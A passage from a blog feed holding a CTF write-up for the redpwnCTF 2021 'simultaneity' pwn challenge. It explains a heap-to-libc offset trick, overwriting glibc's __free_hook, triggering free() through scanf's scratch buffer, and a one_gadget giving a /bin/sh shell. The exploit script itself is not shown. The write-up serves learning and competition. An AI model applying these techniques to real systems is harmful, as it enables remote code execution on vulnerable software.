<p>Another cool thing about this (other than being given an extremely powerful exploit primitive) is that because the <code class="language-plaintext highlighter-rouge">how far?</code> part of the program takes a regular integer 
via <code class="language-plaintext highlighter-rouge">__isoc99_scanf("%ld", &amp;size)</code> we can have a negative <code class="language-plaintext highlighter-rouge">size</code>/index. This, in turn means that we can not only write anywhere after our allocation, but also before.</p>

<h1 id="approaches">Approaches</h1>

<p>Now i’ll talk about the approach I tried initially. My first thought was, could we overwrite some interesting stuff on the heap? Maybe one of functions left something there?
However further inspection on the heap revealed that its just a barren wasteland.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pwndbg&gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x55555555a000
Size: 0x251 &lt;------------------+
                               |
Allocated chunk | PREV_INUSE   +------------ Metadata :yawn:
Addr: 0x55555555a250
Size: 0x411 &lt;------------------ scanf()'s allocation to store our input in full
                              
Allocated chunk | PREV_INUSE   +------------ Our allocation
Addr: 0x55555555a660           |
Size: 0x21 &lt;-------------------+

Top chunk | PREV_INUSE
Addr: 0x55555555a680
Size: 0x20981

</code></pre></div></div>

<p>Nothing interesting here, and nothing that could be easily exploited; i thought perhaps through some manipulation of the <code class="language-plaintext highlighter-rouge">top</code> we could allocate a chunk, perhaps with <code class="language-plaintext highlighter-rouge">scanf</code> 
(yes, <code class="language-plaintext highlighter-rouge">scanf</code> does this) somewhere it isn’t meant to be? As it turns out, <code class="language-plaintext highlighter-rouge">scanf</code> will allocate the temporary buffer before it recieves our input+writes it, so sadly there is
no meddling we can do here, as no further allocations are made/free’d. Although under certain circumstances <code class="language-plaintext highlighter-rouge">scanf()</code> will <code class="language-plaintext highlighter-rouge">free()</code> the temporary buffer, so perhaps some 
opportunity exists there? I didn’t think about this too much, though.</p>

<p>I was quickly drawn to another idea. Whats in the <code class="language-plaintext highlighter-rouge">.bss</code> atm?</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125352528-4b4f1300-e359-11eb-9d8d-581a4a75cda4.png" alt="image" /></p>

<p>Not much, as you can see (and definitely nothing useful). My idea here was to overwrite some stuff and see what happened, did changing any of this stuff have any impact?
Sadly no. I was quite confident that modifying the <code class="language-plaintext highlighter-rouge">stdout@GLIBC</code> would have some effect, as the <code class="language-plaintext highlighter-rouge">FILE</code> struct is pretty complicated. But it was to no avail.</p>

<p>So we have a seemingly hopeless situation where we have very little, if any opportunity to overwrite anything; we have a (basically useless) <code class="language-plaintext highlighter-rouge">.text</code>/heap leak and no (reliable)
way to overwrite anything meaningful.</p>

<p>It was at this point where I became stuck for quite a while, and moved on to <code class="language-plaintext highlighter-rouge">image-identifier</code>. Only after finishing that and coming back did I realise what I had missed, on
the last day of the CTF.</p>

<h1 id="gaining-a-rather-strong-foothold">Gaining a (rather strong) foothold</h1>

<p><img src="https://user-images.githubusercontent.com/73792438/125354078-468b5e80-e35b-11eb-9eba-c21095da46e7.png" alt="image" /></p>

<p>I highlighted the important part. I neglected to fully consider the ability we have when controlling the size of an allocation. If we wanted, we could make <code class="language-plaintext highlighter-rouge">malloc()</code> fail and 
return a null pointer, but more importantly if an allocation is larger than the <code class="language-plaintext highlighter-rouge">top</code> chunk (aka, does not fit in the current heap) <code class="language-plaintext highlighter-rouge">malloc()</code> will use <code class="language-plaintext highlighter-rouge">mmap()</code> to allocate
some memory that fits the size of said allocation (if it can provide enough memory, that is).</p>

<p>If we, for example allocate a chunk that is 1 larger that <code class="language-plaintext highlighter-rouge">top</code> (0x209a1+1) then we should be able to force <code class="language-plaintext highlighter-rouge">malloc()</code> to make our heap elsewhere. And sure enough:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125355878-6cb1fe00-e35d-11eb-8713-56e09c21ca91.png" alt="image" /></p>

<p>Yep, the entire allocation has moved elsewhere. But where exactly?</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125355554-1644bf80-e35d-11eb-815f-2b095fd3f45e.png" alt="image" /></p>

<p>Our allocation is between the main heap and libc (<code class="language-plaintext highlighter-rouge">0x7ffff7deb000-0x7ffff7e0c000</code>). The most important aspect of this is that there is no flux/influence of ASLR between our heap
and all of libc. This means:</p>

<ul>
  <li>Since our heap is at a constant offset from libc, so is our leaked allocation address. We now have an easy way to get the base, and therefore the rest of libc.</li>
  <li>As stated in the above, our allocation is at a constant offset from libc, this means that we may use our primitive to write INTO libc, anywhere we want.</li>
</ul>

<p>Now that we have easy access to libc, we need a place to write. I tried a couple things here; none of which worked, however overwriting <code class="language-plaintext highlighter-rouge">__free_hook</code> did.</p>

<p><code class="language-plaintext highlighter-rouge">__free_hook</code> is a global function pointer in libc that when NULL does nothing however when populated with any values, upon <code class="language-plaintext highlighter-rouge">free()</code> it will detect that the pointer is not 
NULL and instead jump to it. This makes it ideal, as <code class="language-plaintext highlighter-rouge">free()</code>, and therefore <code class="language-plaintext highlighter-rouge">__free_hook</code> are used alot more than you would expect, and so there are alot of opportunities for 
RCE with this value. Hooks like this also exist for <code class="language-plaintext highlighter-rouge">malloc()</code> and <code class="language-plaintext highlighter-rouge">realloc()</code> functions, making it an extremely easy way to execute a one-gadget in a pinch.</p>

<p>We can work out the difference of <code class="language-plaintext highlighter-rouge">__free_hook</code> from our allocation, then divide that by 8, ensuring that when it eventually gets multiplied by 8 in our 
<code class="language-plaintext highlighter-rouge">scanf("%zu",(void *)((long)alloc + size * 8)))</code> we still come out with the same value:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125357942-3629b280-e360-11eb-88c3-1abc4c729304.png" alt="image" /></p>

<p>We can then do a test run in gdb to make sure we are in fact writing to the correct location</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125358108-68d3ab00-e360-11eb-88bb-badc3cfdbbcb.png" alt="image" /></p>

<p>And sure enough, yes.</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125358179-7f7a0200-e360-11eb-865f-bcc35d4836cc.png" alt="image" /></p>

<p>We can see that we do write to <code class="language-plaintext highlighter-rouge">__free_hook</code>. However on entering a random value you’ll notice that we do not SEGFAULT before the <code class="language-plaintext highlighter-rouge">_exit()</code></p>

<p><img src="https://user-images.githubusercontent.com/73792438/125358554-f44d3c00-e360-11eb-91f0-1ebd8d089d9f.png" alt="image" /></p>

<p>This can mean only one thing; our input is never allocated / is never <code class="language-plaintext highlighter-rouge">free()</code>‘d</p>

<h1 id="some-scanf-stuff">Some scanf stuff</h1>

<p>Since <code class="language-plaintext highlighter-rouge">scanf()</code> takes no <code class="language-plaintext highlighter-rouge">length</code> field, for all user input, even the stuff it doesnt care about (wrong format, wrong type, etc…) it has to take + store somehow. To do this
it uses a ‘scratch’-buffer. This is a buffer that will store ALL the input from <code class="language-plaintext highlighter-rouge">scanf()</code>. This starts as a stack buffer, however will fallback to being a heap buffer if this 
stack buffer threatens to overflow:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">/*</span> <span class="n">Scratch</span> <span class="n">buffers</span> <span class="n">with</span> <span class="n">a</span> <span class="k">default</span> <span class="n">stack</span> <span class="n">allocation</span> <span class="n">and</span> <span class="n">fallback</span> <span class="n">to</span>
   <span class="n">heap</span> <span class="n">allocation</span><span class="p">.</span> <span class="p">[</span><span class="o">---</span><span class="n">snipped</span><span class="o">---</span><span class="p">]</span>
</code></pre></div></div>
<p><a href="https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/include/scratch_buffer.h#L22">here</a></p>

<p>This heap buffer is re-used whenever another call to <code class="language-plaintext highlighter-rouge">scanf()</code> comes via rewinding the buffer position back to the start, such that the space can be re-used:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Reinitializes BUFFER-&gt;current and BUFFER-&gt;end to cover the entire
   scratch buffer.  */</span>
<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">char_buffer_rewind</span> <span class="p">(</span><span class="k">struct</span> <span class="n">char_buffer</span> <span class="o">*</span><span class="n">buffer</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">=</span> <span class="n">char_buffer_start</span> <span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
  <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">end</span> <span class="o">=</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">+</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">scratch</span><span class="p">.</span><span class="n">length</span> <span class="o">/</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">CHAR_T</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p><a href="https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L216">here</a> and <a href="https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L483">here</a></p>

<p>Whenever we want to add to this buffer, we need to call <code class="language-plaintext highlighter-rouge">char_buffer_add()</code>. This does a couple things. 1st it checks if we currently positioned at the end of our buffer, and 
if so it will take a ‘slow’ path. Otherwise it just adds a single character to the scratch buffer and moves on:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span>
<span class="nf">char_buffer_add</span> <span class="p">(</span><span class="k">struct</span> <span class="n">char_buffer</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="n">CHAR_T</span> <span class="n">ch</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__glibc_unlikely</span> <span class="p">(</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">==</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">end</span><span class="p">))</span>
    <span class="n">char_buffer_add_slow</span> <span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">ch</span><span class="p">);</span>
  <span class="k">else</span>
    <span class="o">*</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span><span class="o">++</span> <span class="o">=</span> <span class="n">ch</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><a href="https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L256">here</a></p>

<p>As you would expect, the slow path is for when we run out of space in our stack buffer, (or our heap buffer) and will move our input in its entirety to the heap when the 
conditions are right</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Slow path for char_buffer_add.  */</span>
<span class="k">static</span> <span class="kt">void</span>
<span class="nf">char_buffer_add_slow</span> <span class="p">(</span><span class="k">struct</span> <span class="n">char_buffer</span> <span class="o">*</span><span class="n">buffer</span><span class="p">,</span> <span class="n">CHAR_T</span> <span class="n">ch</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">char_buffer_error</span> <span class="p">(</span><span class="n">buffer</span><span class="p">))</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">offset</span> <span class="o">=</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">end</span> <span class="o">-</span> <span class="p">(</span><span class="n">CHAR_T</span> <span class="o">*</span><span class="p">)</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">scratch</span><span class="p">.</span><span class="n">data</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">scratch_buffer_grow_preserve</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">scratch</span><span class="p">))</span> <span class="c1">// &lt;--------- important part is here</span>
    <span class="p">{</span>
      <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
      <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">end</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="n">char_buffer_rewind</span> <span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
  <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span> <span class="o">+=</span> <span class="n">offset</span><span class="p">;</span>
  <span class="o">*</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">current</span><span class="o">++</span> <span class="o">=</span> <span class="n">ch</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we delve a bit deeper we can actually find where exactly this allocation happens:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span>
<span class="nf">__libc_scratch_buffer_grow_preserve</span> <span class="p">(</span><span class="k">struct</span> <span class="n">scratch_buffer</span> <span class="o">*</span><span class="n">buffer</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">new_length</span> <span class="o">=</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">new_ptr</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">==</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">__space</span><span class="p">.</span><span class="n">__c</span><span class="p">)</span> <span class="c1">// If we are currently using the __space.__c buffer (stack buffer). This is the default for all inputs, initially.</span>
    <span class="p">{</span>
      <span class="cm">/* Move buffer to the heap.  No overflow is possible because
	 buffer-&gt;length describes a small buffer on the stack.  */</span>
      <span class="n">new_ptr</span> <span class="o">=</span> <span class="n">malloc</span> <span class="p">(</span><span class="n">new_length</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">new_ptr</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
      <span class="n">memcpy</span> <span class="p">(</span><span class="n">new_ptr</span><span class="p">,</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">__space</span><span class="p">.</span><span class="n">__c</span><span class="p">,</span> <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">length</span><span class="p">);</span> <span class="c1">// heres the 'move'</span>
<span class="c1">// [---snipped---]</span>
      <span class="cm">/* Install new heap-based buffer.  */</span>
  <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="n">new_ptr</span><span class="p">;</span>
  <span class="n">buffer</span><span class="o">-&gt;</span><span class="n">length</span> <span class="o">=</span> <span class="n">new_length</span><span class="p">;</span>
  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">buffer-&gt;data</code> is where we write into the scratch buffer - at least the origin, anyway.</p>

<p>From this we can understand that if we provide enough input - enough that we can progress the <code class="language-plaintext highlighter-rouge">buffer-&gt;current</code> to the <code class="language-plaintext highlighter-rouge">buffer-&gt;end</code> of the current buffer , we can 
trigger a new allocation with <code class="language-plaintext highlighter-rouge">malloc()</code>. This has some caveats though; if <code class="language-plaintext highlighter-rouge">scanf()</code> expects a number (like with our <code class="language-plaintext highlighter-rouge">__isoc99_scanf("%zu...</code>) it will only progress the 
<code class="language-plaintext highlighter-rouge">buffer-&gt;current</code> if it recieves a digit. You can read the source here <a href="https://elixir.bootlin.com/glibc/glibc-2.28.9000/source/stdio-common/vfscanf.c#L1396">here</a>.</p>

<p>One thing I want to draw your attention to though, is this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
<span class="c1">// [---snipped---]</span>
	  <span class="k">if</span> <span class="p">(</span><span class="n">ISDIGIT</span> <span class="p">(</span><span class="n">c</span><span class="p">))</span>
		<span class="p">{</span>
		  <span class="n">char_buffer_add</span> <span class="p">(</span><span class="o">&amp;</span><span class="n">charbuf</span><span class="p">,</span> <span class="n">c</span><span class="p">);</span>
		  <span class="n">got_digit</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
		<span class="p">}</span>
<span class="c1">// [---snipped---]</span>
</code></pre></div></div>

<p>What we have here, is what I assume to be the loop that goes through the values of each number, after the format string has been interpreted (but you can never be sure with libc 
code). As you can see, if our character is a digit, we add it to the buffer. Cool.</p>

<p>Now armed with this (somewhat useless) knowledge, we can go back and try writing to <code class="language-plaintext highlighter-rouge">__free_hook</code> again, but this time with at least 1024 bytes of digits in our buffer
in order to allocate a chunk that will be free’d on exiting <code class="language-plaintext highlighter-rouge">scanf()</code> (via <code class="language-plaintext highlighter-rouge">scratch_buffer_free()</code>) And sure enough if we spam ‘0’s, we can call <code class="language-plaintext highlighter-rouge">free()</code> on our allocation and thus trigger 
<code class="language-plaintext highlighter-rouge">__free_hook</code>:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125519774-a9246a30-4760-4c5f-8cfa-7482964f23be.png" alt="image" /></p>

<p>Now when we test in gdb:</p>

<p><img src="https://user-images.githubusercontent.com/73792438/125519937-eb6b539a-c8f9-4c18-acc3-2ae774ccb9d6.png" alt="image" /></p>

<p>Boom.</p>

<p>Its worth noting that using any digit other than ‘0’ will (stating the obvious a bit here) cause the value to wrap around and become <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code>. But leading
with ‘0’s ensures that the value written is not changed (I got confused with this for a while lol).</p>

<h1 id="exploitation">Exploitation</h1>

<p>Now that we have an RIP overwrite with a value we completely control AND a libc leak, the next logical step was finding an applicable <code class="language-plaintext highlighter-rouge">one_gadget</code> we can use. Running
<code class="language-plaintext highlighter-rouge">one_gadget</code> on our libc provides 3 results. The one that works is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
</code></pre></div></div>

<p>Now with that out of the way, things should be pretty EZ. Exploit is in the folder.
HTP.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro This years redpwn started on the 9th of july, and ran through from 8PM BST till 8PM on the 12th. This was really fun, and I really praise the organisers for creating the superb infrastructure and challenges that allowed me (and my team-mates or here) to toil away on these challenges. Cheers guys :). This will be the first of (probably) a series of writeups for challenges in the pwn category of redpwnCTF 2021, disregarding the challenges I didn’t solve. Description This challenge specifically was extremely difficult (for me). The vulnerability as you will see is very obvious. However exploitation is another matter that requires knowledge of some heap internals, and alot of guesswork on my part. With that out of the way, lets begin. (The solution script is at the bottom as well as in the github folder, I forgot that in my last writeup.) Setup So whats up? Well first things first, were provided with a libc and a linker. If we want to correctly emulate the challenge environment, we need to patch these into the program. You can do that like so: patchelf ./simultaneity --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 --output simultaneity1 Now you should have simultaneity1 which has the correct libc + linker. Something else to note is that the libc is stripped. There are quite a few ways to ‘unstrip’ a libc but I chose to download the debug symbols and simply use them with my gdb. To do this you can download the debug symbols that match the libc (you can get version info from a libc by running it), then extract them in the current directory: wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc6-dbg_2.28-10_amd64.deb mkdir dbg; dpkg -x libc6-dbg_2.28-10_amd64.deb ./dbg/ Now whenever you want to use these symbols in gdb, simply type: set debug-file-directory dbg/usr/lib/debug/ and you should (fingers crossed) have working symbols. Now we should be all set to take a look at the binary. The program Its pretty simple: The program asks how big? and we can provide a size, it then spits out what looks like a main_arena heap address (from a heap that is aligned with the data segment). It then asks how far? and what?. It seems that the program is straight up giving us a thinly veiled write-what-where primitive, nice. If we look at the decompiled code for main() we can confirm this: (ignore my mutterings at the bottom lol) The program takes a size which is then passed to malloc(size) so we can control the size of an allocation. Then the program leaks the address of said allocation back to us. We can then specify another size/index that will then be multiplied by 8, then it will be added to the address of our allocation (long)alloc + size * 8). We then use the result of this addition and write into it an unsigned int/size_t. Another cool thing about this (other than being given an extremely powerful exploit primitive) is that because the how far? part of the program takes a regular integer via __isoc99_scanf("%ld", &amp;size) we can have a negative size/index. This, in turn means that we can not only write anywhere after our allocation, but also before. Approaches Now i’ll talk about the approach I tried initially. My first thought was, could we overwrite some interesting stuff on the heap? Maybe one of functions left something there? However further inspection on the heap revealed that its just a barren wasteland. pwndbg&gt; heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x251 &lt;------------------+ | Allocated chunk | PREV_INUSE +------------ Metadata :yawn: Addr: 0x55555555a250 Size: 0x411 &lt;------------------ scanf()'s allocation to store our input in full Allocated chunk | PREV_INUSE +------------ Our allocation Addr: 0x55555555a660 | Size: 0x21 &lt;-------------------+ Top chunk | PREV_INUSE Addr: 0x55555555a680 Size: 0x20981 Nothing interesting here, and nothing that could be easily exploited; i thought perhaps through some manipulation of the top we could allocate a chunk, perhaps with scanf (yes, scanf does this) somewhere it isn’t meant to be? As it turns out, scanf will allocate the temporary buffer before it recieves our input+writes it, so sadly there is no meddling we can do here, as no further allocations are made/free’d. Although under certain circumstances scanf() will free() the temporary buffer, so perhaps some opportunity exists there? I didn’t think about this too much, though. I was quickly drawn to another idea. Whats in the .bss atm? Not much, as you can see (and definitely nothing useful). My idea here was to overwrite some stuff and see what happened, did changing any of this stuff have any impact? Sadly no. I was quite confident that modifying the stdout@GLIBC would have some effect, as the FILE struct is pretty complicated. But it was to no avail. So we have a seemingly hopeless situation where we have very little, if any opportunity to overwrite anything; we have a (basically useless) .text/heap leak and no (reliable) way to overwrite anything meaningful. It was at this point where I became stuck for quite a while, and moved on to image-identifier. Only after finishing that and coming back did I realise what I had missed, on the last day of the CTF. Gaining a (rather strong) foothold I highlighted the important part. I neglected to fully consider the ability we have when controlling the size of an allocation. If we wanted, we could make malloc() fail and return a null pointer, but more importantly if an allocation is larger than the top chunk (aka, does not fit in the current heap) malloc() will use mmap() to allocate some memory that fits the size of said allocation (if it can provide enough memory, that is). If we, for example allocate a chunk that is 1 larger that top (0x209a1+1) then we should be able to force malloc() to make our heap elsewhere. And sure enough: Yep, the entire allocation has moved elsewhere. But where exactly? Our allocation is between the main heap and libc (0x7ffff7deb000-0x7ffff7e0c000). The most important aspect of this is that there is no flux/influence of ASLR between our heap and all of libc. This means: Since our heap is at a constant offset from libc, so is our leaked allocation address. We now have an easy way to get the base, and therefore the rest of libc. As stated in the above, our allocation is at a constant offset from libc, this means that we may use our primitive to write INTO libc, anywhere we want. Now that we have easy access to libc, we need a place to write. I tried a couple things here; none of which worked, however overwriting __free_hook did. __free_hook is a global function pointer in libc that when NULL does nothing however when populated with any values, upon free() it will detect that the pointer is not NULL and instead jump to it. This makes it ideal, as free(), and therefore __free_hook are used alot more than you would expect, and so there are alot of opportunities for RCE with this value. Hooks like this also exist for malloc() and realloc() functions, making it an extremely easy way to execute a one-gadget in a pinch. We can work out the difference of __free_hook from our allocation, then divide that by 8, ensuring that when it eventually gets multiplied by 8 in our scanf("%zu",(void *)((long)alloc + size * 8))) we still come out with the same value: We can then do a test run in gdb to make sure we are in fact writing to the correct location And sure enough, yes. We can see that we do write to __free_hook. However on entering a random value you’ll notice that we do not SEGFAULT before the _exit() This can mean only one thing; our input is never allocated / is never free()‘d Some scanf stuff Since scanf() takes no length field, for all user input, even the stuff it doesnt care about (wrong format, wrong type, etc…) it has to take + store somehow. To do this it uses a ‘scratch’-buffer. This is a buffer that will store ALL the input from scanf(). This starts as a stack buffer, however will fallback to being a heap buffer if this stack buffer threatens to overflow: /* Scratch buffers with a default stack allocation and fallback to heap allocation. [---snipped---] here This heap buffer is re-used whenever another call to scanf() comes via rewinding the buffer position back to the start, such that the space can be re-used: /* Reinitializes BUFFER-&gt;current and BUFFER-&gt;end to cover the entire scratch buffer. */ static inline void char_buffer_rewind (struct char_buffer *buffer) { buffer-&gt;current = char_buffer_start (buffer); buffer-&gt;end = buffer-&gt;current + buffer-&gt;scratch.length / sizeof (CHAR_T); } here and here Whenever we want to add to this buffer, we need to call char_buffer_add(). This does a couple things. 1st it checks if we currently positioned at the end of our buffer, and if so it will take a ‘slow’ path. Otherwise it just adds a single character to the scratch buffer and moves on: static inline void char_buffer_add (struct char_buffer *buffer, CHAR_T ch) { if (__glibc_unlikely (buffer-&gt;current == buffer-&gt;end)) char_buffer_add_slow (buffer, ch); else *buffer-&gt;current++ = ch; } here As you would expect, the slow path is for when we run out of space in our stack buffer, (or our heap buffer) and will move our input in its entirety to the heap when the conditions are right /* Slow path for char_buffer_add. */ static void char_buffer_add_slow (struct char_buffer *buffer, CHAR_T ch) { if (char_buffer_error (buffer)) return; size_t offset = buffer-&gt;end - (CHAR_T *) buffer-&gt;scratch.data; if (!scratch_buffer_grow_preserve (&amp;buffer-&gt;scratch)) // &lt;--------- important part is here { buffer-&gt;current = NULL; buffer-&gt;end = NULL; return; } char_buffer_rewind (buffer); buffer-&gt;current += offset; *buffer-&gt;current++ = ch; } If we delve a bit deeper we can actually find where exactly this allocation happens: bool __libc_scratch_buffer_grow_preserve (struct scratch_buffer *buffer) { size_t new_length = 2 * buffer-&gt;length; void *new_ptr; if (buffer-&gt;data == buffer-&gt;__space.__c) // If we are currently using the __space.__c buffer (stack buffer). This is the default for all inputs, initially. { /* Move buffer to the heap. No overflow is possible because buffer-&gt;length describes a small buffer on the stack. */ new_ptr = malloc (new_length); if (new_ptr == NULL) return false; memcpy (new_ptr, buffer-&gt;__space.__c, buffer-&gt;length); // heres the 'move' // [---snipped---] /* Install new heap-based buffer. */ buffer-&gt;data = new_ptr; buffer-&gt;length = new_length; return true; buffer-&gt;data is where we write into the scratch buffer - at least the origin, anyway. From this we can understand that if we provide enough input - enough that we can progress the buffer-&gt;current to the buffer-&gt;end of the current buffer , we can trigger a new allocation with malloc(). This has some caveats though; if scanf() expects a number (like with our __isoc99_scanf("%zu...) it will only progress the buffer-&gt;current if it recieves a digit. You can read the source here here. One thing I want to draw your attention to though, is this: while (1) { // [---snipped---] if (ISDIGIT (c)) { char_buffer_add (&amp;charbuf, c); got_digit = 1; } // [---snipped---] What we have here, is what I assume to be the loop that goes through the values of each number, after the format string has been interpreted (but you can never be sure with libc code). As you can see, if our character is a digit, we add it to the buffer. Cool. Now armed with this (somewhat useless) knowledge, we can go back and try writing to __free_hook again, but this time with at least 1024 bytes of digits in our buffer in order to allocate a chunk that will be free’d on exiting scanf() (via scratch_buffer_free()) And sure enough if we spam ‘0’s, we can call free() on our allocation and thus trigger __free_hook: Now when we test in gdb: Boom. Its worth noting that using any digit other than ‘0’ will (stating the obvious a bit here) cause the value to wrap around and become 0xffffffffffffffff. But leading with ‘0’s ensures that the value written is not changed (I got confused with this for a while lol). Exploitation Now that we have an RIP overwrite with a value we completely control AND a libc leak, the next logical step was finding an applicable one_gadget we can use. Running one_gadget on our libc provides 3 results. The one that works is: 0x448a3 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL Now with that out of the way, things should be pretty EZ. Exploit is in the folder. HTP.]]></summary></entry></feed>